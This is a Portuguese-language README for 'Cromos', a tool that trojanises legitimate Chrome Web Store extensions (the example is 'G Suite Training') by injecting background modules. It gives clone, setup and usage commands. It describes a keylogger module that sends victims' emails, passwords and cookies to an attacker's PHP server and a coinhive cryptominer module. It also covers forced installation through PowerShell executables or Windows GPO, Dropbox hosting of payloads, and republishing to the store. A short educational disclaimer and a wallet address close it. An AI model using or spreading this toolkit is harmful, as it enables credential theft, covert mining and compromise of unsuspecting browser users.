
Cromos é uma ferramenta para baixar extensões legítimas da Chrome Web Store e injetar códigos no segundo plano da aplicação.
Cromos é uma ferramenta para baixar extensões legítimas da Chrome Web Store e injetar códigos em segundo plano da aplicação e mais, cromos cria arquivos executáveis para forçar a instalação via PowerShell por exemplo, e também envia arquivos para o dropbox para hospedar os arquivos maliciosos.
Esta é uma demonstração da ferramenta em funcionamento. Neste exemplo, estou baixando uma extensão famosa do Google chamada G Suite Training na Chrome Web Store e injetando um módulo keylogger.
$ cd $HOME/
$ git clone https://github.com/fbctf/cromos
$ sudo chmod -R 777 cromos/
$ cd cromos && python setup.py
Uso: python cromos.py --extension {id}
Uso: python cromos.py --extension {id} --load {currency/keylogger}
Uso: python cromos.py --extension {id} --build {bat} --token {dropboxToken}
Você também pode injetar alguns módulos predefinidos em segundo plano, como keylogger, moeda virtual.
| Módulo | Descrição |
|---|---|
| modules/keylogger | Este módulo captura todas as senhas digitadas em um navegador infectado, via https ou não. Tudo que você precisa é ter um servidor php, por exemplo, para receber as requisições. Os parâmetros obtidos são email, password, cookies e userAgent. |
| modules/currency | Este módulo permite minerar moedas virtuais usando a API do coinhive; basta ter uma conta. |
O Chrome permite adicionar extensões usando o Objeto de Política de Grupo (GPO) do Windows. Se você precisar forçar a instalação em várias máquinas, siga os passos no Guia de Implantação do Chrome depois modifique a extensão original com algumas alterações. Você pode publicar sua extensão na Chrome Web Store; é necessário pagar $5.
Os exemplos de código são fornecidos para fins educacionais. Defesas adequadas só podem ser construídas pesquisando técnicas de ataque disponíveis para agentes maliciosos. Usar este código contra sistemas alvo sem permissão prévia é ilegal na maioria das jurisdições. Os autores não se responsabilizam por quaisquer danos decorrentes do uso indevido destas informações ou código.
49m12JEEC6HPCHkLMX5QL4SrDQdKwh6eb4Muu8Z9CwA9MwemhzFQ3VcgHwyuR73rC22WCymTUyep7DVrfN3GPt5JBCekPrR